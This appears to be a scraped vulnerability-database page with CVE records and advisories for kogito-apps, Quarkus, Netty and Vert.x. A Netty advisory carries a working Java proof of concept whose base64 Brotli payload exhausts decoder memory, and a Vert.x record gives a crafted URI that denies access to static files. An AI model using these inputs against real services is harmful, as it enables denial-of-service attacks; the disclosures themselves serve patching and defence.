Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package kogito-apps version 10.1.0-r0 fixes 26 vulnerabilities: CVE-2025-55163, ghsa-prj3-ccx8-p6x4, CVE-2025-67735, ghsa-84h7-rjj3-6jx4, CVE-2025-58057...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "kogito-apps"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.1.0-r0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"10.1.0-r0"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package kogito-apps version 10.1.0-r0 fixes 26 vulnerabilities: CVE-2025-55163, ghsa-prj3-ccx8-p6x4, CVE-2025-67735, ghsa-84h7-rjj3-6jx4, CVE-2025-58057...",
"id": "CLEANSTART-2026-VY88502",
"modified": "2026-07-30T09:34:25Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apache/incubator-kie-kogito-apps"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in kogito-apps 10.1.0-r0",
"upstream": [
"CVE-2025-55163",
"ghsa-prj3-ccx8-p6x4",
"CVE-2025-67735",
"ghsa-84h7-rjj3-6jx4",
"CVE-2025-58057",
"ghsa-3p8m-j85q-pgmj",
"CVE-2025-58056",
"ghsa-fghv-69vj-qj49",
"CVE-2026-1002",
"ghsa-cphf-4846-3xx9",
"CVE-2025-11965",
"ghsa-h5fg-jpgr-rv9c",
"CVE-2025-11966",
"ghsa-45p5-v273-3qqr",
"CVE-2025-49146",
"ghsa-hq9p-pm7w-8p54",
"CVE-2025-27817",
"ghsa-vgq5-3255-v292",
"CVE-2025-48924",
"ghsa-j288-q9x7-2f5v",
"CVE-2025-2240",
"ghsa-gfh6-3pqw-x2j4",
"CVE-2025-49574",
"ghsa-9623-mj7j-p9v4",
"CVE-2025-66560",
"ghsa-5rfx-cp42-p624"
]
}
CVE-2025-66560 (GCVE-0-2025-66560)
Vulnerability from cvelistv5 – Published: 2026-01-07 17:33 – Updated: 2026-01-07 17:59- CWE-770 - Allocation of Resources Without Limits or Throttling
| URL | Tags |
|---|---|
| https://github.com/quarkusio/quarkus/security/adv… | x_refsource_CONFIRM |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-66560",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-07T17:59:26.212542Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-07T17:59:59.091Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "quarkus",
"vendor": "quarkusio",
"versions": [
{
"status": "affected",
"version": "\u003e= 3.30.0, \u003c 3.31.0"
},
{
"status": "affected",
"version": "\u003e= 3.21.0, \u003c 3.27.2"
},
{
"status": "affected",
"version": "\u003c 3.20.5"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Quarkus is a Cloud Native, (Linux) Container First framework for writing Java applications. Prior to versions 3.31.0, 3.27.2, and 3.20.5, a vulnerability exists in the HTTP layer of Quarkus REST related to response handling. When a response is being written, the framework waits for previously written response chunks to be fully transmitted before proceeding. If the client connection is dropped during this waiting period, the associated worker thread is never released and becomes permanently blocked. Under sustained or repeated occurrences, this can exhaust the available worker threads, leading to degraded performance, or complete unavailability of the application. This issue has been patched in versions 3.31.0, 3.27.2, and 3.20.5. A workaround involves implementing a health check that monitors the status and saturation of the worker thread pool to detect abnormal thread retention early."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-770",
"description": "CWE-770: Allocation of Resources Without Limits or Throttling",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-07T17:33:22.083Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/quarkusio/quarkus/security/advisories/GHSA-5rfx-cp42-p624",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/quarkusio/quarkus/security/advisories/GHSA-5rfx-cp42-p624"
}
],
"source": {
"advisory": "GHSA-5rfx-cp42-p624",
"discovery": "UNKNOWN"
},
"title": "Quarkus REST has potential worker thread starvation when HTTP connection is closed while waiting to write"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2025-66560",
"datePublished": "2026-01-07T17:33:22.083Z",
"dateReserved": "2025-12-04T16:01:32.473Z",
"dateUpdated": "2026-01-07T17:59:59.091Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-67735 (GCVE-0-2025-67735)
Vulnerability from cvelistv5 – Published: 2025-12-16 00:19 – Updated: 2025-12-16 14:26- CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-67735",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-12-16T14:26:21.658602Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-12-16T14:26:48.934Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "netty",
"vendor": "netty",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.8.Final"
},
{
"status": "affected",
"version": "\u003c 4.1.129.Final"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.129.Final and 4.2.8.Final, the `io.netty.handler.codec.http.HttpRequestEncoder` has a CRLF injection with the request URI when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the URI. Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. Versions 4.1.129.Final and 4.2.8.Final fix the issue."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-93",
"description": "CWE-93: Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-12-16T00:19:11.287Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4"
}
],
"source": {
"advisory": "GHSA-84h7-rjj3-6jx4",
"discovery": "UNKNOWN"
},
"title": "Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2025-67735",
"datePublished": "2025-12-16T00:19:11.287Z",
"dateReserved": "2025-12-11T00:45:45.790Z",
"dateUpdated": "2025-12-16T14:26:48.934Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-1002 (GCVE-0-2026-1002)
Vulnerability from cvelistv5 – Published: 2026-01-15 20:50 – Updated: 2026-01-15 21:09| Vendor | Product | Version | |
|---|---|---|---|
| Eclipse Vert.x | Eclipse Vert.x |
Affected:
4.0.0 , ≤ 4.5.23
(semver)
Affected: 5.0.0 , ≤ 5.0.6 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-1002",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-15T21:07:25.597990Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-15T21:09:22.172Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/vert-x3/vertx-web/issues/2836"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://repo.maven.apache.org/maven2",
"defaultStatus": "unaffected",
"packageName": "io.vertx",
"product": "Eclipse Vert.x",
"repo": "https://github.com/eclipse-vertx/vert.x",
"vendor": "Eclipse Vert.x",
"versions": [
{
"lessThanOrEqual": "4.5.23",
"status": "affected",
"version": "4.0.0",
"versionType": "semver"
},
{
"lessThanOrEqual": "5.0.6",
"status": "affected",
"version": "5.0.0",
"versionType": "semver"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThe Vert.x Web static handler component cache can be manipulated to deny the access to static files served by the handler using specifically crafted request URI.\u003c/p\u003e\n\u003cp\u003eThe issue comes from an improper implementation of the C. rule of section 5.2.4 of RFC3986 and is fixed in Vert.x Core component (used by Vert.x Web): \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://github.com/eclipse-vertx/vert.x/pull/5895\"\u003ehttps://github.com/eclipse-vertx/vert.x/pull/5895\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e\n\u003ca target=\"_blank\" rel=\"nofollow\"\u003e\u003c/a\u003e\u003c/h2\u003e\u003ch2\u003eSteps to reproduce\u003c/h2\u003e\n\u003cp\u003eGiven a file served by the static handler, craft an URI that introduces a string like \u003ccode\u003ebar%2F..%2F\u003c/code\u003e after the last \u003ccode\u003e/\u003c/code\u003e char to deny the access to the URI with an HTTP 404 response. For example \u003ccode\u003ehttps://example.com/foo/index.html\u003c/code\u003e can be denied with \u003ccode\u003ehttps://example.com/foo/bar%2F..%2Findex.html\u003c/code\u003e\u003c/p\u003e\u003ch2\u003eMitgation\u003c/h2\u003e\n\u003cp\u003eDisabling Static Handler cache fixes the issue.\u003c/p\u003e\n\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003eStaticHandler staticHandler = StaticHandler.create().setCachingEnabled(false);\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cbr\u003e"
}
],
"value": "The Vert.x Web static handler component cache can be manipulated to deny the access to static files served by the handler using specifically crafted request URI.\n\n\nThe issue comes from an improper implementation of the C. rule of section 5.2.4 of RFC3986 and is fixed in Vert.x Core component (used by Vert.x Web): https://github.com/eclipse-vertx/vert.x/pull/5895 \n\n\n\nSteps to reproduce\nGiven a file served by the static handler, craft an URI that introduces a string like bar%2F..%2F after the last / char to deny the access to the URI with an HTTP 404 response. For example https://example.com/foo/index.html can be denied with https://example.com/foo/bar%2F..%2Findex.html\n\nMitgation\nDisabling Static Handler cache fixes the issue.\n\n\n\nStaticHandler staticHandler = StaticHandler.create().setCachingEnabled(false);"
}
],
"impacts": [
{
"capecId": "CAPEC-153",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-153 Input Data Manipulation"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 6.9,
"baseSeverity": "MEDIUM",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "LOW",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-444",
"description": "CWE-444",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-15T20:50:25.642Z",
"orgId": "e51fbebd-6053-4e49-959f-1b94eeb69a2c",
"shortName": "eclipse"
},
"references": [
{
"tags": [
"patch"
],
"url": "https://github.com/eclipse-vertx/vert.x/pull/5895"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Eclipse Vert.x Web static handler file access denial",
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "e51fbebd-6053-4e49-959f-1b94eeb69a2c",
"assignerShortName": "eclipse",
"cveId": "CVE-2026-1002",
"datePublished": "2026-01-15T20:50:25.642Z",
"dateReserved": "2026-01-15T18:23:48.276Z",
"dateUpdated": "2026-01-15T21:09:22.172Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-3P8M-J85Q-PGMJ
Vulnerability from github – Published: 2025-09-03 18:00 – Updated: 2025-09-04 13:51Summary
With specially crafted input, BrotliDecoder and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.
Details
BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.
Tested on 4.1.118, but there were no changes to the decoder since.
PoC
Run this test case with -Xmx1G:
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import java.util.Base64;
public class T {
public static void main(String[] args) {
EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
}
}
Error:
Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)
at java.base/java.nio.Bits.reserveMemory(Bits.java:178)
at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121)
at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)
at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)
at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)
at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)
at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)
at io.netty.buffer.PoolArena.allocate(PoolArena.java:137)
at io.netty.buffer.PoolArena.allocate(PoolArena.java:127)
at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)
at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)
at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)
at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)
at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)
at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)
at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)
at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)
at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)
at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)
at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)
at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)
at io.netty.handler.codec.compression.T.main(T.java:11)
Impact
DoS for anyone using BrotliDecoder on untrusted input.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-compression"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.5.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.125.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58057"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-03T18:00:55Z",
"nvd_published_at": "2025-09-04T10:42:32Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nWith specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.\n\n### Details\n\n`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.\n\nTested on 4.1.118, but there were no changes to the decoder since.\n\n### PoC\n\nRun this test case with `-Xmx1G`:\n\n```java\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\n\nimport java.util.Base64;\n\npublic class T {\n public static void main(String[] args) {\n EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());\n channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode(\"aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=\")));\n }\n}\n```\n\nError:\n\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)\n\tat java.base/java.nio.Bits.reserveMemory(Bits.java:178)\n\tat java.base/java.nio.DirectByteBuffer.\u003cinit\u003e(DirectByteBuffer.java:121)\n\tat java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)\n\tat io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)\n\tat io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)\n\tat io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)\n\tat io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:137)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:127)\n\tat io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)\n\tat io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)\n\tat io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)\n\tat io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)\n\tat io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)\n\tat io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)\n\tat io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)\n\tat 